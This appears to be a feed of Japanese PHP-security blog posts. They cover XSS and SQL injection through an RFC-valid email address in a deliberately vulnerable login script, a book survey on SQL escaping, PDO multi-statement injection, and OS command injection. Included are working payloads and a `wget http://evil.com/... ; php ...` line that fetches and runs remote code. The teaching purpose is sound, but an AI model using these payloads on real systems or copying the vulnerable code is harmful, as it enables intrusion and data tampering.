ということで、私も(GitHubに重要資産はないものの、念のため)GitHubの二要素認証を有効にしました。

追記(11:00) 不正ログインが大量に成功したわけではないので、タイトルに「試行」と追記しました。

XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス

$
0
0
メールアドレスの「ルール」に関する話題が盛り上がっていますね。
これらのエントリに異論があるわけでありません。メールアドレスに関するルールというとRFC5322などがあるものの、現実の運用では簡易的な仕様を用いている場合が大半である…という事情は、私も以前ブログに書きました。、
本稿では、「空前のメールアドレスのルールブーム(?)」に便乗する形で、RFC5322に準拠したメールアドレスで、XSSやSQLインジェクションの攻撃ができることを紹介します。と言っても、SQLインジェクションについては、過去に書きましたので、本稿では、RFC5322バリッドなメールアドレスでSQLインジェクションとXSSの両方ができるメールアドレスを紹介します。
まず、攻撃対象として、以下のログインスクリプトを用います。メールアドレスはfilter_varを用いてメールアドレスとしての妥当性を確認し、パスワードは英数字のみであることをctype_alnumを用いて確認しています。
<?php
define('USERNAME', 'xxxxx');
define('PASSWORD', 'xxxxx');

$err = $id = $pwd = '';
// ユーザID(メールアドレス)のバリデーション
if (isset($_GET['id']) && filter_var($_GET['id'], FILTER_VALIDATE_EMAIL)) {
$id = $_GET['id']; // ユーザID
} else {
$err .= 'ユーザIDはメールアドレスを指定してください<br>';
}
// パスワード(英数字)のバリデーション
if (isset($_GET['pwd']) && ctype_alnum($_GET['pwd'])) {
$pwd = $_GET['pwd']; // パスワード
} else {
$err .= 'パスワードは英数字を指定してください<br>';
}
if ($err !== '') {
die($err); // バリデーションエラーの場合はエラーメッセージを表示して終了
}
// データベースに接続
$dbh = new PDO('mysql:dbname=test;host=localhost;charset=utf8', USERNAME, PASSWORD);
// SQLの組み立て
$sql = "SELECT * FROM users WHERE id ='$id' AND pwd = '$pwd'";
$stmt = $dbh->query($sql); // クエリー実行
?><html>
<body><?php
echo 'sql= ' . htmlspecialchars($sql, ENT_NOQUOTES, 'UTF-8') . '<br>';
if ($stmt->rowCount() > 0) { // SELECTした行が存在する場合ログイン成功
echo "ログイン成功です(id:$id)";
} else {
echo 'ログイン失敗です';
}
$dbh = 0;
?></body>
</html>
実行例を示します。まずは、ログイン成功の場合です。最下行にログインユーザ名が表示されますが、ここにXSS脆弱性があります。


次に、ログイン失敗の場合です。


これに対する攻撃メールアドレスですが、XSS攻撃に必要な記号文字 < や > はダブルクォートで囲まないとメールアドレスのローカルパート(@の左側)では使えないため、ダブルクォートで囲ったメールアドレスにします。以下にそのような例を示します。
"><script>alert('or/**/1=1#')</script>"@example.jp
ここで、/**/は空のコメントですが、filter_varによるメールアドレスチェックでは(quoted-stringでも)空白がエラーになった(*1)ので、空白の代わりに使用しています。
このメールアドレスを先のログインスクリプトに指定すると、以下の画面になります。


ちゃんと(?)XSSが発動していますね。OKボタンをクリックすると続いて下記の画面になります。


SQLインジェクション攻撃により、IDが存在しないのにログインに成功しています。

なお、このメールアドレスはRFC準拠なので、ThunderbirdとGmailでは、このメールアドレス(ドメイン名は変えました)に送信可能であることを確認しています。Becky!での送信は括弧のせいでエラーになるようです。


ということで、RFC5322バリッドで、SQLインジェクションもXSSもできるメールアドレスを示しました。

ただし、このメールアドレスは中々に危険です。その理由については私の過去のエントリを御覧ください。このため、この種のメールアドレスを公開Webサイト等で試すことは避けてくださいますようにお願い致します。

*1 phpallで確認したところ、PHP5.3.2までは空白入りのメールアドレスがValidと判定されていましたが、PHP5.3.3以降ではエラーになるようです。

PHPとセキュリティの解説書12種類を読んでSQLエスケープの解説状況を調べてみた

$
0
0
この投稿はPHP Advent Calendar 2013の13日目の記事です。昨日は@tanakahisateruPHPが糞言語なのはどう考えても参照をポインタだと思っているお前らが悪いでした。

現在twitterのタイムラインで、史上空前のSQLのエスケープブームが起こっています。
これらのうち、最初に参照した大垣さんのブログは、以下のように始まっています。
ツイッターでの議論を見て「SQLエスケープを教える必要はない」とする原因は「教育の基本」と「セキュリティの基本」の理解不足が「根本的な原因」だと解ってきました。
オレオレSQLセキュリティ教育は論理的に破綻しているから引用
これを読んで、SQLインジェクション対策という文脈でエスケープ(SQLの文字列リテラルにおけるエスケープ)を教える必要がないという意見があるのだろうかと疑問に思いました。そのため、PHPの教科書、セキュリティの教科書や冊子(PHPにフォーカスしたもの)合計12種類について、SQLインジェクション対策がどのように説明されているかを調査しましたので報告します。

1. よくわかるPHPの教科書(たにぐちまこと著)

ジャパネットたにぐちさんこと、たにぐちまことさんの書かれたPHP入門書です。長らくPHP入門書のAmazon売り上げトップを独走していました。全くの初心者の状態から、twitter風のひと言掲示板の作成まで進みます。

エスケープの説明あり(バックスラッシュのエスケープが抜けている)
SQLライブラリmysql関数
対策方針エスケープ(mysql_real_escape_string)
数値列の扱いsprintfの%d書式+エスケープ
文字エンコーディング指定SET NAMES UTF8

上の表のように、基本的にmysql_real_escape_stringによるエスケープ処理でSQLインジェクション対策していますが、数値列に関しては以下のようにsprintfと組み合わせています。
$sql = sprintf('INERT INTO my_items SET maker_id=%d 【略】', 
mysql_real_escape_string($_POST['maker_id']));
実は上記は冗長でして、値をシングルクォートで囲っていない場合はエスケープをしても無意味です。上記のSQLインジェクション対策のキモは%d書式による数値化にあります。
これだけであれば、冗長なだけで脆弱性ではありませんが、同書のP272には、sprintfを忘れて単に文字列連結した箇所があり、こちらはmysql_real_escape_string関数によりエスケープ処理はしていますが、脆弱性が混入しています。詳しくは、私のエントリ『よくわかるPHPの教科書』のSQLインジェクション脆弱性を参照ください。
また、文字エンコーディングの指定をSET NAMES UTF8の呼び出しにより行っていますが、あまり良くありません。その理由については、libmysqlclientを使うプログラムはset namesをutf8であっても使ってはいけないを参照ください。ただし、大半の環境で脆弱性となることはないと思われます。正しくは、mysql_set_charset関数により指定することですが、mysql関数そのものがPHP5.5から非推奨になりましたので、PDOまたはmysqli関数に移行しましょう。たにぐち本が書かれた頃は、その情報はなかったので、mysql関数を使っていることは仕方ないと思います。

2. いきなりはじめるPHP~ワクワク・ドキドキの入門教室~(谷藤賢一著)

3. 気づけばプロ並みPHP~ショッピングカート作りにチャレンジ!(谷藤賢一著)

「いきなり始める…」は、よくわかるPHPの教科書に代わって、現在Amazonの売り上げトップをひた走るPHP入門書です。HTMLも知らない状態で、教科書に従ってPHPソースを打ち込んでいくと、最終的にDB検索までできるという趣向です。開発環境としてはXAMPPを使用しています。

エスケープの説明なし
SQLライブラリPDO
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定SET NAMES UTF-8

ご覧のように、エスケープの説明がありませんが、PDOによるプレースホルダを使って脆弱性が入らないようにしています。PHPの入門書であれば、この方法でも問題ないと感じました。本書の続編に「気づけばプロ並みPHP~ショッピングカート作りにチャレンジ!(谷藤賢一著)」がありますが、SQLに関しては本書と同じスタイルです。本書のサンプルは色々怪しいところがあり、初期化していない配列に要素を挿入していたり(何カ所もある)、session_destroy()を呼ぶ前にsession_start()を呼んでいないためにログアウト処理でセッションが破棄されていない…等々が散見されますが、幸いSQLインジェクション脆弱性はないようです。

4. 基礎からのPHP(西沢 夢路著)

たにぐち本を強く意識していると思われる全ページカラーで、構成もたにぐち本と同様、入門から、画像処理、メール送信、アップロード、DBなどを広範囲に網羅しています。最終的には画像投稿掲示板を作ります。

エスケープの説明なし
SQLライブラリPDO(冒頭でmysqlの説明もある)
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定指定していない

本書は最終的にはPDOによりMySQLにアクセスする方法を説明していますが、その前にmysqlを用いて基本的なSQLアクセスを説明しています。この段階のサンプルにはSQLインジェクションがあり、同書P166には下記の言い訳(?)が載っています。
不謹慎ですが、P272で勉強する「SQLインジェクション対策」はまったくしていませんあくまで練習用ということでご了解ください。逆に後でSQLインジェクションを試してみるのも面白いかもしれません。
最初に脆弱性のある状態で説明する方法には同意しませんが、後のPDOのサンプルは、原則としてプレースホルダを用いてSQL文を呼び出しているのでSQLインジェクション脆弱性はありません。ただし、以下の微妙なコードはあります(gz_logon2.php)。
$u = htmlspecialchars($_POST['user'], ENT_QUOTES);
// 略
$ps = $db->query("SELECT pas FROM table2 WHERE id='$u'");
$uはユーザIDですが、HTMLエスケープした状態でSQL文に埋め込んでいます。HTMLエスケープの際にENT_QUOTESを指定しているので、シングルクォートは&#039;とエスケープされるので、SQLインジェクションに使えませんが、バックスラッシュ(円記号)はエスケープされません。しかし、外部から操作できるパラメータが一つだけだとかろうじて攻撃できない気がします。もしもWHERE句が以下の形であれば、SQLインジェクション攻撃が可能です。
WHERE id='$u' and pwd pas='$p'    # WHERE句が左記の場合

$u ← \
$p ← or 1=1 #

WHERE句は下記となる

id='\' and pwd pas='or 1=1 #'
~~~~~~~~~~~~~~~
ここまでが文字列リテラル
すなわち、第1パラメータにバックスラッシュを指定すると、第2のパラメータはSQL文の一部となり、UNION SELECTなど好きなSQL機能を用いて攻撃できます。 あぶなっかしい箇所は他にもありますが、それはプレースホルダを使っていないことが原因であり、プレースホルダを使っていれば問題ないものです。

5. かんたんWebプログラミング! これから始める人のPHP学習帖(小川 淳一著)

この本も短いプログラムを打ち込みながら学習するスタイルで、最終的には画像掲示板を作成します。2013年11月30日発行ですから、出たばかりですね。

エスケープの説明間違っている
SQLライブラリmysqli および PDO
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定mysqli_set_charset およびPDO接続文字列

エスケープの説明が間違っているところを引用します(同書P202)。
たとえば、X'masなど、送信されたデータにシングルクォートやダブルクォートが含まれていると、SQL文法エラーとなり、データ登録などの処理が実行されません。必ずhtmlspecialchars関数で無害しておきましょう
ガタッという感じですが、幸いなことに同書はSQL呼び出しの際に、かたくなにプレースホルダを用いているので、SQLインジェクション脆弱性はなさそうです。多少プログラマの知識が怪しくても(これ自体は残念ですが)、プレースホルダを用いるとSQLインジェクションの可能性をかなり減らすことができる例と言えます。

6. パーフェクトPHP(小川 雄大、柄沢 聡太郎、橋口 誠著)

言わずとしれたパーフェクトPHP。素晴らしい本で、私もPHPの細かい文法を同書で勉強しています。

エスケープの説明データベース専用のエスケープ関数を使え
SQLライブラリPDO
対策方針主にプレースホルダ
数値列の扱いプレースホルダの場合は考慮の必要がないが、
エスケープについては記述なし
文字エンコーディング指定なし

同書のSQL呼び出しの説明は基本的にPDOを用いていますが、SQLインジェクションの説明の節では、プレースホルダが使えない場合はpg_escape_stringやmysql_real_escape_stringなど「データベースエンジン毎に用意された関数」でエスケープするように推奨しています。これは正しい指摘ですが、数値列の場合にどうするかは説明されていません。

7. プロになるための PHPプログラミング入門(星野 香保子著)

タイトルの示すように、入門書を卒業した人がパーフェクトPHPに行く前に読むとよいような位置づけです。入門書だとバリデーションの説明はまずないのですが、同書には「入力値チェック処理」という節が用意されています。CakePHPやAjaxの説明もありと盛りだくさんで、セキュリティの解説も正確です。

エスケープの説明なし
SQLライブラリmysqli
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定set_charsetメソッド

同書はセキュリティに関しては手堅い解説をしています。SQL呼び出しについても、ライブラリの選択、文字エンコーディングの指定、プレースホルダ利用の徹底などの点で模範的です。

8. PHP逆引きレシピ(鈴木 憲治他著)

これも有名な「逆引きレシピ」です。最近第2版が出ましたが、こちらは第1版のほうです。

エスケープの説明データベース専用のエスケープ関数を使うよう説明
SQLライブラリmysql および mysqli
対策方針プレースホルダを優先し、だめな場合はエスケープ
数値列の扱いエスケープの場合はすべての値をシングルクォートで囲む
文字エンコーディング指定mysql_set_charset等

第1版のSQLインジェクション対策については、こちらに批判記事を書きました。問題を要約すると、エスケープすべきでないものまでエスケープしている問題と言えると思います。この問題は第2版では解決されています。

9. PHP逆引きレシピ 第2版(鈴木 憲治他著)

前述の逆引きレシピ第2版です。この第2版は本当に素晴らしい。PHPセキュリティの最新動向をよく把握して、具体的なレシピに落とし込んでいます。すべてのPHP開発者にお勧めします。

エスケープの説明データベース専用のエスケープ関数を使うよう説明
SQLライブラリPDO
対策方針プレースホルダを優先し、だめな場合はエスケープ
数値列の扱いプレースホルダの場合は考慮の必要がない。プレースホルダを使わない場合は、「数値以外の文字が混入しないように入力値を検証する必要があります」
文字エンコーディング指定接続文字列に指定

冒頭に書いたように、この第2版は素晴らしいです。「もうペチパーは緩いなんて言わせない」と叫びたくなるほどのインパクトがあります。たとえば、暗号的に強い乱数が必要な局面では、openssl_random_pseudo_bytes関数を推奨しています。類書だと、uniqidやmt_randを進めている場合が多い状況でした。 SQLインジェクションについては、数値の扱いが厳密になったことと、SQL呼び出しの説明全般がPDOとプレースホルダを用いて記述されていているので安心です。

10. 安全なSQLの呼び出し方

IPAが公開している「安全なウェブサイトの作り方」の別冊です。SQL呼び出しに特化して詳しく説明しています。

エスケープの説明原理から実際まで詳細に説明
SQLライブラリPHPサンプルではMDB2
対策方針プレースホルダ(推奨)、エスケープ
数値列の扱いプレースホルダの場合は考慮の必要がない、エスケープの際もquoteメソッドによる数値対応を推奨
文字エンコーディング指定MDB2の接続文字列

本冊子は、SQLインジェクションの前提となるSQL文法の説明、発生原理から、具体的な対策についてまとめたものです。エスケープ処理をしても、あるいはプレースホルダを用いていても、SQLインジェクション脆弱性が混入する原理や、各エスケープ処理用の関数の生成するエスケープ結果を調査して、安全な方法を解説しています。
上記説明のために、エスケープ処理についてはかなり詳細に説明していますが、それは、エスケープ処理を推奨するためではなく、エスケープ処理が難しいものであるので極力避けて欲しいという意図です。そして、原理的に(パラメータ埋め込みの文脈では)SQLインジェクション脆弱性の混入しない静的プレースホルダを推奨し、各言語での具体的な記述方法を解説しています。
また、エスケープ処理については、文字列と数値に分けて、あるべき処理結果と、各ライブラリの実際の挙動を紹介しています。
安全なSQLの呼び出し方は、公開されてから一度も改版されていないので、「安全になった」という表現は適当でありません。現在のものが安全だとすれば、それはもともと安全であったことを意味します。一方、この冊子の本体である「安全なウェブサイトの作り方」は、脆弱性の概要説明であるので、より一般的・抽象的な表現になっていますが、エスケープの説明について第1版から記述があります。以下は第1版のP4からの引用です。
ということで、「IPAの文書」にエスケープが説明されてなかったなんてことはないはずです。

11. 体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践(徳丸浩著)

拙著、いわゆる徳丸本です。

エスケープの説明本文中では簡潔に記して「安全なSQLの呼び出し方」を参照
SQLライブラリMDB2
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定接続文字列中に記述

拙著ではSQL文字列リテラルのエスケープについては簡単にしか説明していませんが、SQLインジェクションの原理を説明する箇所で以下のように説明しています(P128)。
文字列リテラルの問題
 SQLの標準規格では、文字列リテラルはシングルクォートで囲みます。文字列リテラル中にシングルクォートを含めたい場合は、シングルクォートを重ねる決まりです。これを「シングルクォートをエスケープする」と言います。このため、「O'Reilly」をSQLの文字列リテラルにすると、'O''Reilly'になります。
 ところが SQLインジェクション脆弱性のあるプログラムでは、シングルクォートを重ねる 処理が抜けているため次のようなSQL文が組み立てられます。
対策に関しては、元々拙著は初心者向けを目指して執筆されたこともあり、複数の方法を示すよりも確実に安全な方法を一つ紹介しようという判断から、実務的な対策方法としてはプレースホルダを主に紹介しています。動的に検索条件やソート列が変化するような「プレースホルダでは書きにくい」と思われてきたクエリについても、プレースホルダでの記述例を紹介しています。
また、SQLインジェクションとは別の問題ですが、LIKE述語のワイルドカード(%と_など)のエスケープが必要なため、こちらのエスケープについては詳しく説明しています。
ということで、拙著においてSQLエスケープは、以下の方針に従っています。
  • 原理のところで簡単にエスケープを説明する
  • 実務的な対策はプレースホルダ推奨
  • どうしてもエスケープが必要な場合は安全なSQLの呼び出し方を読んでね


12. Webアプリセキュリティ対策入門 ~あなたのサイトは大丈夫?(大垣 靖男著)

大垣さんのご著書、いわゆる大垣本です。

エスケープの説明あり
SQLライブラリsqlite関数
対策方針プレースホルダ(推奨)、またはエスケープ
数値列の扱い数値であることの確認
文字エンコーディング指定なし

あらためて大垣本を確認して意外に思ったのですが、大垣本もプレースホルダ推奨だったのですね。一度は読んでいたはずですが、大垣さんの近年のエスケープ推しの印象が強いため忘れていたようです。同書P51には概要のまとめとして下記があります。
対策
SQL文のパラメータとなる入力が、数値型である場合は必ず数値型データであることを確認する。文字列型のデータである場合は必ずデータベースシステムにあったエスケープ方式で文字列をエスケープする。プリペアードクエリが利用できる場合は、プリペアードクエリを使用する
同じくP146には下記の記述があります。
基本的に、データベースが提供する文字列エスケープ関数をすべての変数に使用していれば、脆弱性は発生しません。注意しなければならないのは、データベースによって動作やエスケープしなければならない文字が異なることと、プリペアードクエリのサポートです。
 データベースがプリペアードクエリをサポートしている場合は、プリペアードクエリを使用した方がよいです。PostgreSQLはプリペアードクエリが利用できます。
ということで、少なくとも同書が出たころ(2006年3月)は、大垣さんのプレースホルダ(プリペアードクエリ)推しだったようです。今はどうなのでしょうか?

まとめ

PHPの教科書9種類と、セキュリティの解説書3種類を読んで、SQLインジェクション対策と関連してエスケープの説明をしているかどうかを確認しました。
調査前は、私自身は「SQLインジェクションの解説なら当然エスケープは説明するだろう」と予測していたのですが、PHPの教科書ではエスケープを説明していないモノが多く、プレースホルダを用いてSQLインジェクション対策しているものが目立ちました。
一方、セキュリティの解説書の場合は、今回紹介しなかったものも含め、エスケープについては解説していました。
PHPの解説書ではSQLのエスケープを説明しない場合が多い点については、私は、これはこれでアリだろうと思いました。初学者のうちは、とにかく安全に、SQLインジェクションを混入しない書き方が求められます。この点、「プロになるための PHPプログラミング入門」には、SQLインジェクション脆弱性の発生原因として下記が指摘されています。
自分でパラメータを文字列連結しながらSQL文を組み立てている
私は上記に深く同意します。そして、文字列連結なしにSQL文を呼び出そうとすると、必然的にプレースホルダを使わざるを得ません。
また、次の見方もできます。今回調べたPHP入門書の中には、失礼ながら著者自身のプログラミング力量が怪しいものが少なからず見られましたが、その割にはSQLインジェクション脆弱性は見つかりませんでした。これはプレースホルダを使っていれば、(絶対に大丈夫という訳ではないにしても)少々ミスをしてもSQLインジェクション脆弱性の混入は食い止められるということです。このエントリで紹介した唯一のSQLインジェクション例は、エスケープ処理の不適切な実装によるものでした。また、脆弱性ではないにしても、数値列を含むエスケープ処理(あるいはSQLリテラルの正しい構成)は、PHP解説書の著者でさえも難しいらしく、不適切な例が見られました。
全体のまとめは下記の通りです。
  • PHP初心者がSQLを呼び出す場合は、「ともかく文字列連結でSQL文を組み立てるな、プレースホルダを使え」という指導は有効
  • SQLインジェクションについて深く知るためにはエスケープ処理を知る必要がある
  • SQLの動的組み立てを必要とするフレームワーク、O/Rマッパー、データベース管理ツール等の開発には、上記ルールだけでは不足だが、少数の優れた開発者が担当するものであり、必要に応じて高度な技術を学んでもらえばよい

次回はでこくん(@dekokun)ですね。よろしくお願いします。

PHP+PDO+MySQLの組み合わせではSQLインジェクション攻撃で複文呼び出しが可能

$
0
0

基礎からのPHPという書籍を読んでおりましたら、SQLインジェクションの攻撃例として、以下のSQL文ができあがる例が紹介されていました。PHP+PDO+MySQLという組み合わせです。
SELECT * FROM tb2 WHERE ban=1;delete from tb2
2つのSQL文がセミコロンで区切って1つにまとめられていますが、これを「複文(multiple statement)」と言います。私は、SQLインジェクション攻撃の文脈で複文が使える組み合わせを調べたことがあり、PHPとMySQLという組み合わせでは、複文は使えないと思っていましたので、この攻撃は成立しないのではないかと思いました。
しかし、決めつけも良くないと思い手元の環境で動かしてみたところ、あっさり動くではありませんか。

PDOを用いてMySQLを呼び出す場合は複文が実行できると気づきましたが、なぜPDOの場合だけ複文が実行できるのかが気になりました。以前の調査の時はPHPのmysql関数により調査しましたが、mysqli(MySQL 改良版拡張モジュール)でも、複文は実行できません。mysqli::multi_queryを使っている場合は複文実行できますが、これはこのメソッドが複文実行を目的としたものなので、当然ですね。

ここで、検証用の環境を紹介します。まず下記のテーブルを準備します。表名や列名が変なのは、「基礎からのPHP」の踏襲ですのでご容赦ください。
CREATE TABLE tb2(ban int, nam varchar(30));
INSERT INTO tb2 VALUES(1, 'usagi');
次に検証用スクリプトですが、これも「基礎からのPHP」のサンプルを少し修正して使用しています。$bは外部から変更可能な変数とします。
<?php
$b = "1";
$db = new PDO("mysql:host=192.168.xx.xx;dbname=db;charset=utf8", "xxxx", "xxxx");
$ps = $db->query("SELECT * FROM tb2 WHERE ban=$b");
while ($row = $ps->fetch()) {
echo $row[0] . " : " . $row[1] . "\n";
}
これを動かすと、下記の表示となります。
$ php pdo.php
1 : usagi
次に $b に攻撃用文字列を指定しましょう。先のPHPスクリプトの2行目を以下のように変更します。
$b = "1 or true;update tb2 set ban=ban+1";
SQLインジェクション攻撃の結果、呼び出されるSQL文は下記となります。
SELECT * FROM tb2 WHERE ban=1 or true;
update tb2 set ban=ban+1
第1のSQL文(SELECT)のWHERE句が、ban=1 or trueに変わっているので全件表示となります。第2のSQL文は、列banをインクリメントします。その結果、PHPスクリプト呼び出しの度に、数字が1ずつ増加します。
$ php pdo.php
1 : usagi
$ php pdo.php
2 : usagi
$ php pdo.php
3 : usagi
複文が動いていることは明らかですが、なぜ動くのかが疑問です。そこで、PHPとMySQLの通信をWiresharkでキャプチャしてみました。まずはクエリーのリクエストです。

このリクエストはmysql関数が呼び出すものと何ら変わりません。そこで、DB接続時の設定が違うのではないかと思い、そちらを調べてみました(Chasetがlatin1になっているのはPHP5.2.1でのキャプチャであるためです。PHP5.3.5までは接続文字列で指定した文字エンコーディングは無視されていました)。

Supports multiple statementsのビットがセットされています。これが原因のようですね。mysqlおよびmysqliの場合は、このビットは0にセットされています。
次に、該当のソースを見てみます。ext/pdo_mysql/mysql_driver.c のmysql_driver.cです。
448:         int connect_opts = 0
449: #ifdef CLIENT_MULTI_RESULTS
450: |CLIENT_MULTI_RESULTS
451: #endif
452: #ifdef CLIENT_MULTI_STATEMENTS
453: |CLIENT_MULTI_STATEMENTS
454: #endif
CLIENT_MULTI_STATEMENTSはMySQLのAPIで複文の呼び出しを許可するフラグです。MySQLのマニュアルから該当箇所を引用します。
クライアントが複数行クエリ(‘;’ をステートメントの区切りとする)を送信する可能性があることをサーバに通知する。このフラグが設定されていない場合、複数行クエリは無効。MySQL 4.1 の新機能。
MySQL :: MySQL 4.1 リファレンスマニュアル :: 11.1.3.43 mysql_real_connect()より引用
これを読むと、条件コンパイルの意味が分かりますね。CLIENT_MULTI_STATEMENTSはMySQL 4.1以降で有効ですが、PDOはMySQLの3.xもサポートしていたため、CLIENT_MULTI_STATEMENTSをサポートしていないMySQLを考慮する必要があるということでしょう。
試みに、上記引用部分をコメントアウトしてPHPをビルドしたところ、MySQLで複文実行はできなくなりました。これらから、PDOは複文の実行を(少なくともソースコード上は)明示的に許可していることが分かります。


PDO+MySQLで複文実行できる条件

PHPの様々なバージョンでの試験やソースコードの状況から、PDO+MySQLで複文実行できる条件は下記になると思われます。
  • MySQL4.1以上(上記から)
  • PHP5.2.1以上(試験から)
  • PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false); を呼んでいない
PHP5.2.0以下を使っている場合、、あるいは PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false); を呼んでいる場合は、PDO::queryによるSQL呼び出しであっても下記のようにいったんprepareされます。

そして、下記のエラーになります。
Error Code: 1064
SQL Code: 42000
Error eessage: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update tb2 set ban=ban+1' at line 1
queryでは複文は許可されても、Prepare statementでは許可されないようです。


複文を実行できる影響

 MySQLの場合、SQLインジェクションの影響は情報漏えいとファイルの読み書きが主なものですが、複文を実行できる場合は、これに加えて、以下が可能となります。いずれも、権限がある場合です。

  • データベースの更新(いわゆる改ざん)
  • データベースの行削除やテーブルの削除
  • 新規テーブルの作成
  • 新規データベースの作成
  • 新規ユーザの作成
  • データベースの削除
  • その他SQLにて実行可能なこと

SQLインジェクション攻撃の影響が詳しく載っている金床本にもMySQLにて複文実行可能な可能性については言及されていません(MS SQLやPostgreSQLは言及されている)。これはMySQLに対する一般的な認識だと思いますが、このため、MySQLを使っている場合にSQLインジェクションでデータ変更されないとして、これらリスクを受容している場合は特に注意が必要です。


対策

この件について特別な対策は必要ありません。複文が実行されない環境であってもSQLインジェクション脆弱性は受容できない脆弱性として取り扱うべきです。淡々とSQLインジェクション対策すればよいと考えます。以下を推奨します。

  • 原則として文字列連結でSQL文を組み立てない
  • パラメータはプレースホルダにより指定する
  • 特別な事情がなければ静的プレースホルダを使う。元々その方が安全だが、PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false);により複文の実行も予防できる
  • 詳しくはIPAの「安全なSQLの呼び出し方」を読む

まとめ

PDO+MySQLの組み合わせで、アプリケーションにSQLインジェクション脆弱性があると、通常の攻撃に加えて複文による攻撃が可能となり、データの変更や削除が可能となることを紹介しました。
ただし、大騒ぎするような問題ではないと考えます。大騒ぎしなければならないのは、あなたの管理するWebサイトやWebアプリケーションにSQLインジェクション脆弱性がある場合です。SQLインジェクションは元々「あってはならない」脆弱性であって、複文実行が可能になったからと言って、それが変わるわけではないからです。

PHPだってシェル経由でないコマンド呼び出し機能が欲しい

$
0
0
このエントリはPHP Advent Calendar 2013 in Adventarの21日目です。

OSコマンドインジェクションとは

OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。

下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。
$param = $_GET['param'];
system("myprog $param");
$paramとして ; wget http://evil.com/sh.php ; php sh.php  を指定されると、system関数で実行するコマンドは下記となります。
myprog ; wget http://evil.com/bad.php ; php bad.php
; はシェルのメタ文字で、複数のコマンドを続けて実行するという意味なので、上記により、evil.comからbad.phpをダウンロード(*1)して、その後実行するという流れになります。

*1 evil.comではスクリプトをそのままダウンロードする設定と想定しています。

OSコマンドインジェクション脆弱性の対策

OSコマンドインジェクションは重大な脆弱性なので、以下のいずれかの対策をとります。
  • OSコマンドを呼ばずPHPの標準機能で何とかする
  • OSコマンドに対して、外部から変更できるパラメータを指定しない
  • OSコマンドに指定するパラメータを英数字に限定する
これら対策は多くの場合実施可能です。たとえば、sendmailコマンドでメール送信する場合は、オプション -t を使うと、コマンドパラメータに送信先メールアドレスを指定せずメールヘッダ中のto: cc: bcc:に指定されたメールアドレスに送信してくれます。メールメッセージは標準入力から読み込ませるようにすれば、sendmailに可変のパラメータを指定せずにメール送信できます。PHPの場合はpopen関数で標準入力が指定できます。それに、そもそもsendmailコマンドを使わずに、mb_send_mail関数でメール送信すればいいわけです。

しかし、どーーーーしても上記対策がとれない場合は、コマンドに指定するパラメータを安全な方法でエスケープすることになります。PHPにはこの目的の関数が2種類用意されています。escapeshellcmdescapeshellargです。しかし、escapeshellcmdの方は「使うな危険」状態(参照)ですので、escapeshellargの方を使うことになります。シェルのエスケープ関数の安全性については、拙著を書く時に調べて、そこで発見したescapeshellcmd関数の問題についてはブログに書きました。一方、escapeshellargは大丈夫そうでしたので、拙著では優先順位第4の方法として紹介しています。
私がコマンドパラメータのエスケープに慎重な理由は以下の通りです。
  • OSコマンドインジェクション脆弱性の影響が甚大である
  • シェルの文法の複雑性
  • シェルの仕様が環境依存である可能性
  • エスケープの際の文字エンコーディングの取り扱いに起因する問題の可能性
うーん、これらを見るとシェルが諸悪の根源のような気がしてきますね…そうなんです。実は、PHP以外の言語では、シェルを経由しないコマンド呼び出しの方法が用意されています。

コマンド呼び出しとシェル

PHPには複数のコマンド呼び出し関数がありますが、いずれもシェル経由でのコマンド呼び出しとなります(*2)。例えば、system関数からmypsという自作プログラムを以下のように呼び出す場合。
system('myps 10 ; pwd');
以下のように sh 経由でコマンドが実行されていることが分かります。
UID        PID  PPID  CMD
ockeghem 22244 20769  php system.php
ockeghem 22245 22244  sh -c cd '/home/ockeghem' ; myps 10 ; pwd
ockeghem 22246 22245  myps 10
最後の行に ; pwd が書いていませんが、これはmypsの終了後に別のコマンドとして実行されます。
一方、python3で以下のスクリプトを実行する場合。
import subprocess
subprocess.call(["myps", "10 ; pwd"])
以下のように、sh は起動されず、全てのパラメータはmypsの引数になります。すなわち、OSコマンドインジェクション脆弱性にはなりません。
UID        PID  PPID  CMD
ockeghem 22362 20769  python3 system.py
ockeghem 22363 22362  myps 10 ; pwd
また、perlやrubyを使う場合、system関数にてコマンドとパラメータを別に指定すると、shを経由しないでコマンドを実行します。
system('myps', '10 ; pwd');
また、JavaのRuntime#execやProcessBuilderによりコマンドを起動した場合もシェルを経由しません。このため、明示的にシェル起動にしない限り、OSコマンドインジェクションにはなりません。

まとめ

OSコマンドインジェクション脆弱性とシェルの関係について説明しました。OSコマンドインジェクションは、シェル経由でコマンド実行する際のパラメータ解釈を悪用した攻撃手法といえます。このため、外部からのパラメータをOSコマンドに渡さなければならない場合、以下の解決策があります。
  • シェルのパラメータを正しく構成する
  • シェルを経由しないでコマンドを起動する
シェルのパラメータを正しく構成する場合は、パラメータのエスケープが必要となりますが、それが完全であることの証明はなかなか難しいと言えます。このため、シェルを経由しないでコマンドを起動する機能があれば、そちらを利用することによりOSコマンドインジェクション脆弱性の心配がなくなります。
PHPにはシェルを経由しないコマンド機能がない(*2)ので、PHP好きとしては残念な気持ちになりますね。PHPコミッタのみなさま、PHP5.6の新機能として、シェルを経由しないコマンド呼び出しの機能を追加できませんか?

*2 例外として、pcntl_fork および pcntl_exec を使ってコマンドを呼び出すとシェル経由にはなりませんが、PCNTL関数の制限としてCGI版PHPを使わなければならないため、通常のWebアプリケーションで利用するのは現実的ではありません。

変更履歴(2013/12/21 19:20)

まとめを少し変更しました。全体の主張に変更はありません。

間違いだらけのSQL識別子エスケープ

$
0
0
